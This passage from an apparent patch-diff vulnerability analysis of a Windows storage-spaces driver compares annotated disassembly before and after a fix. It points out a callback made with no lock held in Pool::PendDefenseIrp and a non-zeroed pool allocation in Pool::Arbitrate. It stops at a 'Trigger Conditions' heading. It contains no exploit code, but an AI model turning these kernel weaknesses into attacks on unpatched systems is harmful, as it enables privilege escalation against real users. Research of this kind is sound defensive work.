&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB1A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;28&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; this+0x28 (_GUID*)&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB25&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; rbp = this&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB28&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;18&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB2C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;218&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; SpacePort callback proxy context&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB33&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="no"&gt;PrmGetNumberOfDevices@SpacePortCallbackProxy@@...&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; *** NO LOCK HELD ***&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB38&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB3A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB3C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jns&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14000CB60&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; continue if success&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB3E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB41&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;aPoolPenddefens&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; &amp;quot;Pool::PendDefenseIrp&amp;quot;&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB48&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;662&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB4D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="no"&gt;DoTraceReturn@@YAXPEBDIJ@Z&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB52&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;ebx&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB54&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; *** early return on callback failure ***&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB58&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;pop&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;span class="c1"&gt;;      ... pop rdi/rsi/rbp/rbx ; retn&lt;/span&gt;

&lt;span class="c1"&gt;; loc_14000CB60 — only AFTER callback success are the locks taken:&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB64&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; this+0x40 (exclusive ERESOURCE)&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB6A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;dl&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="c1"&gt;; Wait&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB6C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rbx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; Resource = this+0x40&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB71&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ExAcquireResourceExclusiveLite&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;; *** LOCK AFTER callback ***&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB7D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;178&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; this+0x178 (shared ERESOURCE)&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB86&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;000000014000&lt;/span&gt;&lt;span class="nf"&gt;CB89&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ExAcquireResourceSharedLite&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Pool::Arbitrate — Unpatched Allocation Path&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; Unpatched: first handle-array allocation (0x1C000AF01..)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AF01&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;34506443&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; Tag &amp;#39;CdP4&amp;#39;&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AF07&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmovo&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AF0B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AF0F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;cmovb&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AF13&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;200&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; PoolType = NonPagedPoolNx (no zero-init)&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AF18&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; NumberOfBytes&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AF1B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ExAllocatePoolWithTag&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AF27&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AF2A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000AF49&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AF2C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; store count at offset 0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AF2F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;; array data at offset 8&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AF33&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AF36&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_1C000AF49&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AF38&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;shl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AF3C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;xor&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edx&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; Val = 0&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AF3E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rsi&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; Size = count*8&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AF41&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;00000001&lt;/span&gt;&lt;span class="nf"&gt;C000AF44&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;memset&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="c1"&gt;; zero the element region&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Pool::Arbitrate — Patched Allocation Path&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; Patched: CAutoArrayMemPtr construction loop, then zero-init allocation&lt;/span&gt;
&lt;span class="err"&gt;0000000140009873&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rbp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;57&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="no"&gt;var_C8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="err"&gt;0000000140009877&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;
&lt;span class="err"&gt;000000014000987&lt;/span&gt;&lt;span class="nf"&gt;A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="err"&gt;??&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="err"&gt;?&lt;/span&gt;&lt;span class="no"&gt;$CAutoArrayMemPtr@...@@QEAA@XZ&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; CAutoArrayMemPtr&amp;lt;CAutoHandle&amp;lt;_FILE_OBJECT*&amp;gt;&amp;gt; ctor&lt;/span&gt;
&lt;span class="err"&gt;000000014000987&lt;/span&gt;&lt;span class="nf"&gt;F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;8&lt;/span&gt;
&lt;span class="err"&gt;0000000140009883&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;
&lt;span class="err"&gt;0000000140009887&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;jnz&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_140009877&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;; loop over the wrappers&lt;/span&gt;
&lt;span class="c1"&gt;; ... element buffer allocation:&lt;/span&gt;
&lt;span class="err"&gt;000000014000992&lt;/span&gt;&lt;span class="nf"&gt;E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r8d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;34506443&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; Tag &amp;#39;CdP4&amp;#39;&lt;/span&gt;
&lt;span class="err"&gt;0000000140009940&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;40&lt;/span&gt;&lt;span class="no"&gt;h&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; POOL_FLAG_NON_PAGED — zero-init by default&lt;/span&gt;
&lt;span class="err"&gt;0000000140009945&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="c1"&gt;; NumberOfBytes&lt;/span&gt;
&lt;span class="err"&gt;0000000140009948&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_ExAllocatePool2&lt;/span&gt;
&lt;span class="err"&gt;0000000140009954&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;
&lt;span class="err"&gt;0000000140009959&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;
&lt;span class="err"&gt;000000014000995&lt;/span&gt;&lt;span class="nf"&gt;C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="no"&gt;short&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;loc_14000998A&lt;/span&gt;
&lt;span class="err"&gt;000000014000995&lt;/span&gt;&lt;span class="nf"&gt;E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="no"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;r12&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;; store count at offset 0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;5. Trigger Conditions&lt;/h2&gt;
